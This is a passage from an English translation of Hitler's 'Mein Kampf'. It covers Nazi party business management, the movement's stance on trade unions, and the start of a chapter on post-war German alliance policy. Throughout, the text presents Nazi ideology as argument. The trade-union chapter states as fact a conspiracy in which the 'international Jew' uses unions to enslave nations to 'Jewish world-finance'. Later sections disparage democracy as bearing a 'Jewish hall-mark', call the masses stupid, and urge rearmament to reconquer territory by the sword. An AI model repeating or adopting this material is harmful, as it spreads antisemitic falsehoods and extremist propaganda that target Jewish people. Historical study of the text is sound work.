contents +were excellent, its management as a business concern was simply +impossible. Here also the underlying idea was that popular newspapers +ought to be subsidized by popular contributions, without recognizing +that it had to make its way in competition with the others and that it +was dishonest to expect the subscriptions of good patriots to make up +for the mistaken management of the undertaking. + +I took care to alter those conditions promptly, for I recognized the +danger lurking in them. Luck was on my side here, inasmuch as it brought +me the man who since that time has rendered innumerable services to the +movement, not only as business manager of the newspaper but also as +business manager of the party. In 1914, in the War, I made the +acquaintance of Max Amann, who was then my superior and is to-day +general business Director of the Party. During four years in the War I +had occasion to observe almost continually the unusual ability, the +diligence and the rigorous conscientiousness of my future collaborator. + +In the summer of 1921 I applied to my old regimental comrade, whom I met +one day by chance, and asked him to become business manager of the +movement. At that time the movement was passing through a grave crisis +and I had reason to be dissatisfied with several of our officials, with +one of whom I had had a very bitter experience. Amann then held a good +situation in which there were also good prospects for him. + +After long hesitation he agreed to my request, but only on condition +that he must not be at the mercy of incompetent committees. He must be +responsible to one master, and only one. + +It is to the inestimable credit of this first business manager of the +party, whose commercial knowledge is extensive and profound, that he +brought order and probity into the various offices of the party. Since +that time these have remained exemplary and cannot be equalled or +excelled in this by any other branches of the movement. But, as often +happens in life, great ability provokes envy and disfavour. That had +also to be expected in this case and borne patiently. + +Since 1922 rigorous regulations have been in force, not only for the +commercial construction of the movement but also in the organization of +it as such. There exists now a central filing system, where the names +and particulars of all the members are enrolled. The financing of the +party has been placed on sound lines. The current expenditure must be +covered by the current receipts and special receipts can be used only +for special expenditures. Thus, notwithstanding the difficulties of the +time the movement remained practically without any debts, except for a +few small current accounts. Indeed, there was a permanent increase in +the funds. Things are managed as in a private business. The employed +personnel hold their jobs in virtue of their practical efficiency and +could not in any manner take cover behind their professed loyalty to the +party. A good National Socialist proves his soundness by the readiness, +diligence and capability with which he discharges whatever duties are +assigned to him in whatever situation he holds within the national +community. The man who does not fulfil his duty in the job he holds +cannot boast of a loyalty against which he himself really sins. + +Adamant against all kinds of outer influence, the new business director +of the party firmly maintained the standpoint that there were no +sinecure posts in the party administration for followers and members of +the movement whose pleasure is not work. A movement which fights so +energetically against the corruption introduced into our civil service +by the various political parties must be immune from that vice in its +own administrative department. It happened that some men were taken on +the staff of the paper who had formerly been adherents of the Bavarian +People's Party, but their work showed that they were excellently +qualified for the job. The result of this experiment was generally +excellent. It was owing to this honest and frank recognition of +individual efficiency that the movement won the hearts of its employees +more swiftly and more profoundly than had ever been the case before. +Subsequently they became good National Socialists and remained so. Not +in word only, but they proved it by the steady and honest and +conscientious work which they performed in the service of the new +movement. Naturally a well qualified party member was preferred to +another who had equal qualifications but did not belong to the party. +The rigid determination with which our new business chief applied these +principles and gradually put them into force, despite all +misunderstandings, turned out to be of great advantage to the movement. +To this we owe the fact that it was possible for us--during the +difficult period of the inflation, when thousands of businesses failed +and thousands of newspapers had to cease publication--not only to keep +the commercial department of the movement going and meet all its +obligations but also to make steady progress with the VÖLKISCHE +BEOBACHTER. At that time it came to be ranked among the great +newspapers. + +The year 1921 was of further importance for me by reason of the fact +that in my position as chairman of the party I slowly but steadily +succeeded in putting a stop to the criticisms and the intrusions of some +members of the committee in regard to the detailed activities of the +party administration. This was important, because we could not get a +capable man to take on a job if nincompoops were constantly allowed to +butt in, pretending that they knew everything much better; whereas in +reality they had left only general chaos behind them. Then these +wise-acres retired, for the most part quite modestly, to seek another +field for their activities where they could supervise and tell how +things ought to be done. Some men seemed to have a mania for sniffing +behind everything and were, so to say, always in a permanent state of +pregnancy with magnificent plans and ideas and projects and methods. +Naturally their noble aim and ideal were always the formation of a +committee which could pretend to be an organ of control in order to be +able to sniff as experts into the regular work done by others. But it is +offensive and contrary to the spirit of National Socialism when +incompetent people constantly interfere in the work of capable persons. +But these makers of committees do not take that very much into account. +In those years I felt it my duty to safeguard against such annoyance all +those who were entrusted with regular and responsible work, so that +there should be no spying over the shoulder and they would be guaranteed +a free hand in their day's work. + +The best means of making committees innocuous, which either did nothing +or cooked up impracticable decisions, was to give them some real work to +do. It was then amusing to see how the members would silently fade away +and were soon nowhere to be found. It made me think of that great +institution of the same kind, the Reichstag. How quickly they would +evanesce if they were put to some real work instead of talking, +especially if each member were made personally responsible for the work +assigned to him. + +I always demanded that, just as in private life so also in the movement, +one should not tire of seeking until the best and honestest and +manifestly the most competent person could be found for the position of +leader or administrator in each section of the movement. Once installed +in his position he was given absolute authority and full freedom of +action towards his subordinates and full responsibility towards his +superiors. Nobody was placed in a position of authority towards his +subordinates unless he himself was competent in the work entrusted to +them. In the course of two years I brought my views more and more into +practice; so that to-day, at least as far as the higher direction of the +movement is concerned, they are accepted as a matter of course. + +The manifest success of this attitude was shown on November 9th, 1923. +Four years previously, when I entered the movement, it did not have even +a rubber stamp. On November 9th, 1923, the party was dissolved and its +property confiscated. The total sum realized by all the objects of value +and the paper amounted to more than 170,000 gold marks. + + + + +CHAPTER XII + + + +THE PROBLEM OF THE TRADE UNIONS + + +Owing to the rapid growth of the movement, in 1922 we felt compelled to +take a definite stand on a question which has not been fully solved even +yet. + +In our efforts to discover the quickest and easiest way for the movement +to reach the heart of the broad masses we were always confronted with +the objection that the worker could never completely belong to us while +his interests in the purely vocational and economic sphere were cared +for by a political organization conducted by men whose principles were +quite different from ours. + +That was quite a serious objection. The general belief was that a +workman engaged in some trade or other could not exist if he did not +belong to a trade union. Not only were his professional interests thus +protected but a guarantee of permanent employment was simply +inconceivable without membership in a trade union. The majority of the +workers were in the trades unions. Generally speaking, the unions had +successfully conducted the battle for the establishment of a definite +scale of wages and had concluded agreements which guaranteed the worker +a steady income. Undoubtedly the workers in the various trades benefited +by the results of that campaign and, for honest men especially, +conflicts of conscience must have arisen if they took the wages which +had been assured through the struggle fought by the trades unions and if +at the same time the men themselves withdrew from the fight. + +It was difficult to discuss this problem with the average bourgeois +employer. He had no understanding (or did not wish to have any) for +either the material or moral side of the question. Finally he declared +that his own economic interests were in principle opposed to every kind +of organization which joined together the workmen that were dependent on +him. Hence it was for the most part impossible to bring these bourgeois +employers to take an impartial view of the situation. Here, therefore, +as in so many other cases, it was necessary to appeal to disinterested +outsiders who would not be subject to the temptation of fixing their +attention on the trees and failing to see the forest. With a little good +will on their part, they could much more easily understand a state of +affairs which is of the highest importance for our present and future +existence. + +In the first volume of this book I have already expressed my views on +the nature and purpose and necessity of trade unions. There I took up +the standpoint that unless measures are undertaken by the State (usually +futile in such cases) or a new ideal is introduced in our education, +which would change the attitude of the employer towards the worker, no +other course would be open to the latter except to defend his own +interests himself by appealing to his equal rights as a contracting +party within the economic sphere of the nation's existence. I stated +further that this would conform to the interests of the national +community if thereby social injustices could be redressed which +otherwise would cause serious damage to the whole social structure. I +stated, moreover, that the worker would always find it necessary to +undertake this protective action as long as there were men among the +employers who had no sense of their social obligations nor even of the +most elementary human rights. And I concluded by saying that if such +self-defence be considered necessary its form ought to be that of an +association made up of the workers themselves on the basis of trades +unions. + +This was my general idea and it remained the same in 1922. But a clear +and precise formula was still to be discovered. We could not be +satisfied with merely understanding the problem. It was necessary to +come to some conclusions that could be put into practice. The following +questions had to be answered: + +(1) Are trade unions necessary? + +(2) Should the German National Socialist Labour Party itself operate on +a trade unionist basis or have its members take part in trade unionist +activities in some form or other? + +(3) What form should a National Socialist Trades Union take? What are +the tasks confronting us and the ends we must try to attain? + +(4) How can we establish trade unions for such tasks and aims? + +I think that I have already answered the first question adequately. In +the present state of affairs I am convinced that we cannot possibly +dispense with the trades unions. On the contrary, they are among the +most important institutions in the economic life of the nation. Not only +are they important in the sphere of social policy but also, and even +more so, in the national political sphere. For when the great masses of +a nation see their vital needs satisfied through a just trade unionist +movement the stamina of the whole nation in its struggle for existence +will be enormously reinforced thereby. + +Before everything else, the trades unions are necessary as building +stones for the future economic parliament, which will be made up of +chambers representing the various professions and occupations. + +The second question is also easy to answer. If the trade unionist +movement is important, then it is clear that National Socialism ought to +take a definite stand on that question, not only theoretically but also +in practice. But how? That is more difficult to see clearly. + +The National Socialist Movement, which aims at establishing the National +Socialist People's State, must always bear steadfastly in mind the +principle that every future institution under that State must be rooted +in the movement itself. It is a great mistake to believe that by +acquiring possession of supreme political power we can bring about a +definite reorganization, suddenly starting from nothing, without the +help of a certain reserve stock of men who have been trained beforehand, +especially in the spirit of the movement. Here also the principle holds +good that the spirit is always more important than the external form +which it animates; since this form can be created mechanically and +quickly. For instance, the leadership principle may be imposed on an +organized political community in a dictatorial way. But this principle +can become a living reality only by passing through the stages that are +necessary for its own evolution. These stages lead from the smallest +cell of the State organism upwards. As its bearers and representatives, +the leadership principle must have a body of men who have passed through +a process of selection lasting over several years, who have been +tempered by the hard realities of life and thus rendered capable of +carrying the principle into practical effect. + +It is out of the question to think that a scheme for the Constitution of +a State can be pulled out of a portfolio at a moment's notice and +'introduced' by imperative orders from above. One may try that kind of +thing but the result will always be something that has not sufficient +vitality to endure. It will be like a stillborn infant. The idea of it +calls to mind the origin of the Weimar Constitution and the attempt to +impose on the German people a new Constitution and a new flag, neither +of which had any inner relation to the vicissitudes of our people's +history during the last half century. + +The National Socialist State must guard against all such experiments. It +must grow out of an organization which has already existed for a long +time. This organization must possess National Socialist life in itself, +so that finally it may be able to establish a National Socialist State +that will be a living reality. + +As I have already said, the germ cells of this State must lie in the +administrative chambers which will represent the various occupations and +professions, therefore first of all in the trades unions. If this +subsequent vocational representation and the Central Economic Parliament +are to be National Socialist institutions, these important germ cells +must be vehicles of the National Socialist concept of life. The +institutions of the movement are to be brought over into the State; for +the State cannot call into existence all of a sudden and as if by magic +those institutions which are necessary to its existence, unless it +wishes to have institutions that are bound to remain completely +lifeless. + +Looking at the matter from the highest standpoint, the National +Socialist Movement will have to recognize the necessity of adopting its +own trade-unionist policy. + +It must do this for a further reason, namely because a real National +Socialist education for the employer as well as for the employee, in the +spirit of a mutual co-operation within the common framework of the +national community, cannot be secured by theoretical instruction, +appeals and exhortations, but through the struggles of daily life. In +this spirit and through this spirit the movement must educate the +several large economic groups and bring them closer to one another under +a wider outlook. Without this preparatory work it would be sheer +illusion to hope that a real national community can be brought into +existence. The great ideal represented by its philosophy of life and for +which the movement fights can alone form a general style of thought +steadily and slowly. And this style will show that the new state of +things rests on foundations that are internally sound and not merely an +external façade. + +Hence the movement must adopt a positive attitude towards the +trade-unionist idea. But it must go further than this. For the enormous +number of members and followers of the trade-unionist movement it must +provide a practical education which will meet the exigencies of the +coming National Socialist State. + +The answer to the third question follows from what has been already +said. + +The National Socialist Trades Union is not an instrument for class +warfare, but a representative organ of the various occupations and +callings. The National Socialist State recognizes no 'classes'. But, +under the political aspect, it recognizes only citizens with absolutely +equal rights and equal obligations corresponding thereto. And, side by +side with these, it recognizes subjects of the State who have no +political rights whatsoever. + +According to the National Socialist concept, it is not the task of the +trades union to band together certain men within the national community +and thus gradually transform these men into a class, so as to use them +in a conflict against other groups similarly organized within the +national community. We certainly cannot assign this task to the trades +union as such. This was the task assigned to it the moment it became a +fighting weapon in the hands of the Marxists. The trades union is not +naturally an instrument of class warfare; but the Marxists transformed +it into an instrument for use in their own class struggle. They created +the economic weapon which the international Jew uses for the purpose of +destroying the economic foundations of free and independent national +States, for ruining their national industry and trade and thereby +enslaving free nations to serve Jewish world-finance, which transcends +all State boundaries. + +In contradistinction to this, the National Socialist Trades Union must +organize definite groups and those who participate in the economic life +of the nation and thus enhance the security of the national economic +system itself, reinforcing it by the elimination of all those anomalies +which ultimately exercise a destructive influence on the social body of +the nation, damaging the vital forces of the national community, +prejudicing the welfare of the State and, by no means as a last +consequence, bringing evil and destruction on economic life itself. + +Therefore in the hands of the National Socialist Trades Union the strike +is not an instrument for disturbing and dislocating the national +production, but for increasing it and making it run smoothly, by +fighting against all those annoyances which by reason of their unsocial +character hinder efficiency in business and thereby hamper the existence +of the whole nation. For individual efficiency stands always in casual +relation to the general social and juridical position of the individual +in the economic process. Individual efficiency is also the sole root of +the conviction that the economic prosperity of the nation must +necessarily redound to the benefit of the individual citizen. + +The National Socialist employee will have to recognize the fact that the +economic prosperity of the nation brings with it his own material +happiness. + +The National Socialist employer must recognize that the happiness and +contentment of his employees are necessary pre-requisites for the +existence and development of his own economic prosperity. + +National Socialist workers and employers are both together the delegates +and mandatories of the whole national community. The large measure of +personal freedom which is accorded to them for their activities must be +explained by the fact that experience has shown that the productive +powers of the individual are more enhanced by being accorded a generous +measure of freedom than by coercion from above. Moreover, by according +this freedom we give free play to the natural process of selection which +brings forward the ablest and most capable and most industrious. For the +National Socialist Trades Union, therefore, the strike is a means that +may, and indeed must, be resorted to as long as there is not a National +Socialist State yet. But when that State is established it will, as a +matter of course, abolish the mass struggle between the two great groups +made up of employers and employees respectively, a struggle which has +always resulted in lessening the national production and injuring the +national community. In place of this struggle, the National Socialist +State will take over the task of caring for and defending the rights of +all parties concerned. It will be the duty of the Economic Chamber +itself to keep the national economic system in smooth working order and +to remove whatever defects or errors it may suffer from. Questions that +are now fought over through a quarrel that involves millions of people +will then be settled in the Representative Chambers of Trades and +Professions and in the Central Economic Parliament. Thus employers and +employees will no longer find themselves drawn into a mutual conflict +over wages and hours of work, always to the detriment of their mutual +interests. But they will solve these problems together on a higher +plane, where the welfare of the national community and of the State will +be as a shining ideal to throw light on all their negotiations. + +Here again, as everywhere else, the inflexible principle must be +observed, that the interests of the country must come before party +interests. + +The task of the National Socialist Trades Union will be to educate and +prepare its members to conform to these ideals. That task may be stated +as follows: All must work together for the maintenance and security of +our people and the People's State, each one according to the abilities +and powers with which Nature has endowed him and which have been +developed and trained by the national community. + +Our fourth question was: How shall we establish trades unions for such +tasks and aims? That is far more difficult to answer. + +Generally speaking, it is easier to establish something in new territory +than in old territory which already has its established institutions. In +a district where there is no existing business of a special character +one can easily establish a new business of this character. But it is +more difficult if the same kind of enterprise already exists and it is +most difficult of all when the conditions are such that only one +enterprise of this kind can prosper. For here the promoters of the new +enterprise find themselves confronted not only with the problem of +introducing their own business but also that of how to bring about the +destruction of the other business already existing in the district, so +that the new enterprise may be able to exist. + +It would be senseless to have a National Socialist Trades Union side by +side with other trades unions. For this Trades Union must be thoroughly +imbued with a feeling for the ideological nature of its task and of the +resulting obligation not to tolerate other similar or hostile +institutions. It must also insist that itself alone is necessary, to the +exclusion of all the rest. It can come to no arrangement and no +compromise with kindred tendencies but must assert its own absolute and +exclusive right. + +There were two ways which might lead to such a development: + +(1) We could establish our Trades Union and then gradually take up the +fight against the Marxist International Trades Union. + +(2) Or we could enter the Marxist Trades Union and inculcate a new +spirit in it, with the idea of transforming it into an instrument in the +service of the new ideal. + +The first way was not advisable, by reason of the fact that our +financial situation was still the cause of much worry to us at that time +and our resources were quite slender. The effects of the inflation were +steadily spreading and made the particular situation still more +difficult for us, because in those years one could scarcely speak of any +material help which the trades unions could extend to their members. +From this point of view, there was no reason why the individual worker +should pay his dues to the union. Even the Marxist unions then existing +were already on the point of collapse until, as the result of Herr +Cuno's enlightened Ruhr policy, millions were suddenly poured into their +coffers. This so-called 'national' Chancellor of the REICH should go +down in history as the Redeemer of the Marxist trades unions. + +We could not count on similar financial facilities. And nobody could be +induced to enter a new Trades Union which, on account of its financial +weakness, could not offer him the slightest material benefit. On the +other hand, I felt bound absolutely to guard against the creation of +such an organization which would only be a shelter for shirkers of the +more or less intellectual type. + +At that time the question of personnel played the most important role. I +did not have a single man whom I might call upon to carry out this +important task. Whoever could have succeeded at that time in +overthrowing the Marxist unions to make way for the triumph of the +National Socialist corporative idea, which would then take the place of +the ruinous class warfare--such a person would be fit to rank with the +very greatest men our nation has produced and his bust should be +installed in the Valhalla at Regensburg for the admiration of posterity. + +But I knew of no person who could qualify for such a pedestal. + +In this connection we must not be led astray by the fact that the +international trades unions are conducted by men of only mediocre +significance, for when those unions were founded there was nothing else +of a similar kind already in existence. To-day the National Socialist +Movement must fight against a monster organization which has existed for +a long time, rests on gigantic foundations and is carefully constructed +even in the smallest details. An assailant must always exercise more +intelligence than the defender, if he is to overthrow the latter. The +Marxist trade-unionist citadel may be governed to-day by mediocre +leaders, but it cannot be taken by assault except through the dauntless +energy and genius of a superior leader on the other side. If such a +leader cannot be found it is futile to struggle with Fate and even more +foolish to try to overthrow the existing state of things without being +able to construct a better in its place. + +Here one must apply the maxim that in life it is often better to allow +something to go by the board rather than try to half do it or do it +badly, owing to a lack of suitable means. + +To this we must add another consideration, which is not at all of a +demagogic character. At that time I had, and I still have to-day, a +firmly rooted conviction that when one is engaged in a great ideological +struggle in the political field it would be a grave mistake to mix up +economic questions with this struggle in its earlier stages. This +applies particularly to our German people. For if such were to happen in +their case the economic struggle would immediately distract the energy +necessary for the political fight. Once the people are brought to +believe that they can buy a little house with their savings they will +devote themselves to the task of increasing their savings and no spare +time will be left to them for the political struggle against those who, +in one way or another, will one day secure possession of the pennies +that have been saved. Instead of participating in the political conflict +on behalf of the opinions and convictions which they have been brought +to accept they will now go further with their 'settlement' idea and in +the end they will find themselves for the most part sitting on the +ground amidst all the stools. + +To-day the National Socialist Movement is at the beginning of its +struggle. In great part it must first of all shape and develop its +ideals. It must employ every ounce of its energy in the struggle to have +its great ideal accepted, and the success of this effort is not +conceivable unless the combined energies of the movement be entirely at +the service of this struggle. + +To-day we have a classical example of how the active strength of a +people becomes paralysed when that people is too much taken up with +purely economic problems. + +The Revolution which took place in November 1918 was not made by the +trades unions, but it was carried out in spite of them. And the people +of Germany did not wage any political fight for the future of their +country because they thought that the future could be sufficiently +secured by constructive work in the economic field. + +We must learn a lesson from this experience, because in our case the +same thing must happen under the same circumstances. The more the +combined strength of our movement is concentrated in the political +struggle, the more confidently may we count on being successful along +our whole front. But if we busy ourselves prematurely with trade +unionist problems, settlement problems, etc., it will be to the +disadvantage of our own cause, taken as a whole. For, though these +problems may be important, they cannot be solved in an adequate manner +until we have political power in our hand and are able to use it in the +service of this idea. Until that day comes these problems can have only +a paralysing effect on the movement. And if it takes them up too soon +they will only be a hindrance in the effort to attain its own +ideological aims. It may then easily happen that trade unionist +considerations will control the political direction of the movement, +instead of the ideological aims of the movement directing the way that +the trades unions are to take. + +The movement and the nation can derive advantage from a National +Socialist trade unionist organization only if the latter be so +thoroughly inspired by National Socialist ideas that it runs no danger +of falling into step behind the Marxist movement. For a National +Socialist Trades Union which would consider itself only as a competitor +against the Marxist unions would be worse than none. It must declare war +against the Marxist Trades Union, not only as an organization but, above +all, as an idea. It must declare itself hostile to the idea of class and +class warfare and, in place of this, it must declare itself as the +defender of the various occupational and professional interests of the +German people. + +Considered from all these points of view it was not then advisable, nor +is it yet advisable, to think of founding our own Trades Union. That +seemed clear to me, at least until somebody appeared who was obviously +called by fate to solve this particular problem. + +Therefore there remained only two possible ways. Either to recommend our +own party members to leave the trades unions in which they were enrolled +or to remain in them for the moment, with the idea of causing as much +destruction in them as possible. + +In general, I recommended the latter alternative. + +Especially in the year 1922-23 we could easily do that. For, during the +period of inflation, the financial advantages which might be reaped from +a trades union organization would be negligible, because we could expect +to enroll only a few members owing to the undeveloped condition of our +movement. The damage which might result from such a policy was all the +greater because its bitterest critics and opponents were to be found +among the followers of the National Socialist Party. + +I had already entirely discountenanced all experiments which were +destined from the very beginning to be unsuccessful. I would have +considered it criminal to run the risk of depriving a worker of his +scant earnings in order to help an organization which, according to my +inner conviction, could not promise real advantages to its members. + +Should a new political party fade out of existence one day nobody would +be injured thereby and some would have profited, but none would have a +right to complain. For what each individual contributes to a political +movement is given with the idea that it may ultimately come to nothing. +But the man who pays his dues to a trade union has the right to expect +some guarantee in return. If this is not done, then the directors of +such a trade union are swindlers or at least careless people who ought +to be brought to a sense of their responsibilities. + +We took all these viewpoints into consideration before making our +decision in 1922. Others thought otherwise and founded trades unions. +They upbraided us for being short-sighted and failing to see into the +future. But it did not take long for these organizations to disappear +and the result was what would have happened in our own case. But the +difference was that we should have deceived neither ourselves nor those +who believed in us. + + + + +CHAPTER XIII + + + +THE GERMAN POST-WAR POLICY OF ALLIANCES + + +The erratic manner in which the foreign affairs of the REICH were +conducted was due to a lack of sound guiding principles for the +formation of practical and useful alliances. Not only was this state of +affairs continued after the Revolution, but it became even worse. + +For the confused state of our political ideas in general before the War +may be looked upon as the chief cause of our defective statesmanship; +but in the post-War period this cause must be attributed to a lack of +honest intentions. It was natural that those parties who had fully +achieved their destructive purpose by means of the Revolution should +feel that it would not serve their interests if a policy of alliances +were adopted which must ultimately result in the restoration of a free +German State. A development in this direction would not be in conformity +with the purposes of the November crime. It would have interrupted and +indeed put an end to the internationalization of German national economy +and German Labour. But what was feared most of all was that a successful +effort to make the REICH independent of foreign countries might have an +influence in domestic politics which one day would turn out disastrous +for those who now hold supreme power in the government of the REICH. One +cannot imagine the revival of a nation unless that revival be preceded +by a process of nationalization. Conversely, every important success in +the field of foreign politics must call forth a favourable reaction at +home. Experience proves that every struggle for liberty increases the +national sentiment and national self-consciousness and therewith gives +rise to a keener sensibility towards anti-national elements and +tendencies. A state of things, and persons also, that may be tolerated +and even pass unnoticed in times of peace will not only become the +object of aversion when national enthusiasm is aroused but will even +provoke positive opposition, which frequently turns out disastrous for +them. In this connection we may recall the spy-scare that became +prevalent when the war broke out, when human passion suddenly manifested +itself to such a heightened degree as to lead to the most brutal +persecutions, often without any justifiable grounds, although everybody +knew that the danger resulting from spies is greater during the long +periods of peace; but, for obvious reasons, they do not then attract a +similar amount of public attention. For this reason the subtle instinct +of the State parasites who came to the surface of the national body +through the November happenings makes them feel at once that a policy of +alliances which would restore the freedom of our people and awaken +national sentiment might possibly ruin their own criminal existence. + +Thus we may explain the fact that since 1918 the men who have held the +reins of government adopted an entirely negative attitude towards +foreign affairs and that the business of the State has been almost +constantly conducted in a systematic way against the interests of the +German nation. For that which at first sight seemed a matter of chance +proved, on closer examination, to be a logical advance along the road +which was first publicly entered upon by the November Revolution of +1918. + +Undoubtedly a distinction ought to be made between (1) the responsible +administrators of our affairs of State, or rather those who ought to be +responsible; (2) the average run of our parliamentary politicasters, and +(3) the masses of our people, whose sheepish docility corresponds to +their want of intelligence. + +The first know what they want. The second fall into line with them, +either because they have been already schooled in what is afoot or +because they have not the courage to take an uncompromising stand +against a course which they know and feel to be detrimental. The third +just submit to it because they are too stupid to understand. + +While the German National Socialist Labour Party was only a small and +practically unknown society, problems of foreign policy could have only +a secondary importance in the eyes of many of its members. This was the +case especially because our movement has always proclaimed the +principle, and must proclaim it, that the freedom of the country in its +foreign relations is not a gift that will be bestowed upon us by Heaven +or by any earthly Powers, but can only be the fruit of a development of +our inner forces. We must first root out the causes which led to our +collapse and we must eliminate all those who are profiting by that +collapse. Then we shall be in a position to take up the fight for the +restoration of our freedom in the management of our foreign relations. + +It will be easily understood therefore why we did not attach so much +importance to foreign affairs during the early stages of our young +movement, but preferred to concentrate on the problem of internal +reform. + +But when the small and insignificant society expanded and finally grew +too large for its first framework, the young organization assumed the +importance of a great association and we then felt it incumbent on us to +take a definite stand on problems regarding the development of a foreign +policy. It was necessary to lay down the main lines of action which +would not only be in accord with the fundamental ideas of our +WELTANSCHAUUNG but would actually be an expansion of it in the +practical world of foreign affairs. + +Just because our people have had no political education in matters +concerning our relations abroad, it was necessary to teach the leaders +in the various sections of our movement, and also the masses of the +people, the chief principles which ought to guide the development of our +foreign relations. That was one of the first tasks to be accomplished in +order to prepare the ground for the practical carrying out of a foreign +policy which would win back the independence of the nation in managing +its external affairs and thus restore the real sovereignty of the REICH. + +The fundamental and guiding principles which we must always bear in mind +when studying this question is that foreign policy is only a means to an +end and that the sole end to be pursued is the welfare of our own +people. Every problem in foreign politics must be considered from this +point of view, and this point of view alone. Shall such and such a +solution prove advantageous to our people now or in the future, or will +it injure their interests? That is the question. + +This is the sole preoccupation that must occupy our minds in dealing +with a question. Party politics, religious considerations, humanitarian +ideals--all such and all other preoccupations must absolutely give way +to this. + +Before the War the purpose to which German foreign policy should have +been devoted was to assure the supply of material necessities for the +maintenance of our people and their children. And the way should have +been prepared which would lead to this goal. Alliances should have been +established which would have proved beneficial to us from this point of +view and would have brought us the necessary auxiliary support. The task +to be accomplished is the same to-day, but with this difference: In +pre-War times it was a question of caring for the maintenance of the +German people, backed up by the power which a strong and independent +State then possessed, but our task to-day is to make our nation powerful +once again by re-establishing a strong and independent State. The +re-establishment of such a State is the prerequisite and necessary +condition which must be fulfilled in order that we may be able +subsequently to put into practice a foreign policy which will serve to +guarantee the existence of our people in the future, fulfilling their +needs and furnishing them with those necessities of life which they +lack. In other words, the aim which Germany ought to pursue to-day in +her foreign policy is to prepare the way for the recovery of her liberty +to-morrow. In this connection there is a fundamental principle which we +must keep steadily before our minds. It is this: The possibility of +winning back the independence of a nation is not absolutely bound up +with the question of territorial reintegration but it will suffice if a +small remnant, no matter how small, of this nation and State will exist, +provided it possesses the necessary independence to become not only the +vehicle of' the common spirit of the whole people but also to prepare +the way for the military fight to reconquer the nation's liberty. + +When a people who amount to a hundred million souls tolerate the yoke of +common slavery in order to prevent the territory belonging to their +State from being broken up and divided, that is worse than if such a +State and such a people were dismembered while one fragment still +retained its complete independence. Of course, the natural proviso here +is that this fragment must be inspired with a consciousness of the +solemn duty that devolves upon it, not only to proclaim persistently the +inviolable unity of its spiritual and cultural life with that of its +detached members but also to prepare the means that are necessary for +the military conflict which will finally liberate and re-unite the +fragments that are suffering under oppression. + +One must also bear in mind the fact that the restoration of lost +districts which were formerly parts of the State, both ethnically and +politically, must in the first instance be a question of winning back +political power and independence for the motherland itself, and that in +such cases the special interests of the lost districts must be +uncompromisingly regarded as a matter of secondary importance in the +face of the one main task, which is to win back the freedom of the +central territory. For the detached and oppressed fragments of a nation +or an imperial province cannot achieve their liberation through the +expression of yearnings and protests on the part of the oppressed and +abandoned, but only when the portion which has more or less retained its +sovereign independence can resort to the use of force for the purpose of +reconquering those territories that once belonged to the common +fatherland. + +Therefore, in order to reconquer lost territories the first condition to +be fulfilled is to work energetically for the increased welfare and +reinforcement of the strength of that portion of the State which has +remained over after the partition. Thus the unquenchable yearning which +slumbers in the hearts of the people must be awakened and restrengthened +by bringing new forces to its aid, so that when the hour comes all will +be devoted to the one purpose of liberating and uniting the whole +people. Therefore, the interests of the separated territories must be +subordinated to the one purpose. That one purpose must aim at obtaining +for the central remaining portion such a measure of power and might that +will enable it to enforce its will on the hostile will of the victor and +thus redress the wrong. For flaming protests will not restore the +oppressed territories to the bosom of a common REICH. That can be done +only through the might of the sword. + +The forging of this sword is a work that has to be done through the +domestic policy which must be adopted by a national government. To see +that the work of forging these arms is assured, and to recruit the men +who will bear them, that is the task of the foreign policy. + +In the first volume of this book I discussed the inadequacy of our +policy of alliances before the War. There were four possible ways to +secure the necessary foodstuffs for the maintenance of our people. Of +these ways the fourth, which was the most unfavourable, was chosen. +Instead of a sound policy of territorial expansion in Europe, our rulers +embarked on a policy of colonial and trade expansion. That policy was +all the more mistaken inasmuch as they presumed that in this way the +danger of an armed conflict would be averted. The result of the attempt +to sit on many stools at the same time might have been foreseen. It let +us fall to the ground in the midst of them all. And the World War was +only the last reckoning presented to the REICH to pay for the failure of +its foreign policy. + +The right way that should have been taken in those days was the third +way I indicated: namely, to increase the strength of the REICH as a +Continental Power by the acquisition of new territory in Europe. And at +the same time a further expansion, through the subsequent acquisition of +colonial territory, might thus be brought within the range of practical +politics. Of course, this policy could not have been carried through +except in alliance with England, or by devoting such abnormal efforts to +the increase of military force and armament that, for forty or fifty +years, all cultural undertakings would have to be completely relegated +to the background. This responsibility might very well have been +undertaken. The cultural importance of a nation is almost always +dependent on its political freedom and independence. Political freedom +is a prerequisite condition for the existence, or rather the creation, +of great cultural undertakings. Accordingly no sacrifice can be too +great when there is question of securing the political freedom of a +nation. What might have to be deducted from the budget expenses for +cultural purposes, in order to meet abnormal demands for increasing the +military power of the State, can be generously paid back later on. +Indeed, it may be said that after a State has concentrated all its +resources in one effort for the purpose of securing its political +independence a certain period of ease and renewed equilibrium sets in. +And it often happens that the cultural spirit of the nation, which had +been heretofore cramped and confined, now suddenly blooms forth. Thus +Greece experienced the great Periclean era after the miseries it had +suffered during the Persian Wars. And the Roman Republic turned its +energies to the cultivation of a higher civilization when it was freed +from the stress and worry of the Punic Wars. + +Of course, it could not be expected that a parliamentary majority of +feckless and stupid people would be capable of deciding on such a +resolute policy for the absolute subordination of all other national +interests to the one sole task of preparing for a future conflict of +arms which would result in establishing the security of the State. The +father of Frederick the Great sacrificed everything in order to be ready +for that conflict; but the fathers of our absurd parliamentarian +democracy, with the Jewish hall-mark, could not do it. + +That is why, in pre-War times, the military preparation necessary to +enable us to conquer new territory in Europe was only very mediocre, so +that it was difficult to obtain the support of really helpful allies. + +Those who directed our foreign affairs would not entertain even the idea +of systematically preparing for war. They rejected every plan for the +acquisition of territory in Europe. And by preferring a policy of +colonial and trade expansion, they sacrificed the alliance with England, +which was then possible. At the same time they neglected to seek the +support of Russia, which would have been a logical proceeding. Finally +they stumbled into the World War, abandoned by all except the +ill-starred Habsburgs. + +The characteristic of our present foreign policy is that it follows no +discernible or even intelligible lines of action. Whereas before the War +a mistake was made in taking the fourth way that I have mentioned, and +this was pursued only in a halfhearted manner, since the Revolution not +even the sharpest eye can detect any way that is being followed. Even +more than before the War, there is absolutely no such thing as a +systematic plan, except the systematic attempts that are made to destroy +the last possibility of a national revival. + +If we make an impartial examination of the situation existing in Europe +to-day as far as concerns the relation of the various Powers to one +another, we shall arrive at the following results: + +For the past three hundred years the history of our Continent has been +definitely determined by England's efforts to keep the European States +opposed to one another in an equilibrium of forces, thus assuring the +necessary protection of her own rear while she pursued the great aims of +British world-policy. + +The traditional tendency of British diplomacy ever since the reign of +Queen Elizabeth has been to employ systematically every possible means +to prevent any one Power from attaining a preponderant position over the +other European Powers and, if necessary, to break that preponderance by +means of armed intervention. The only parallel to this has been the +tradition of the Prussian Army. England has made use of various forces +to carry out its purpose, choosing them according to the actual +situation or the task to be faced; but the will and 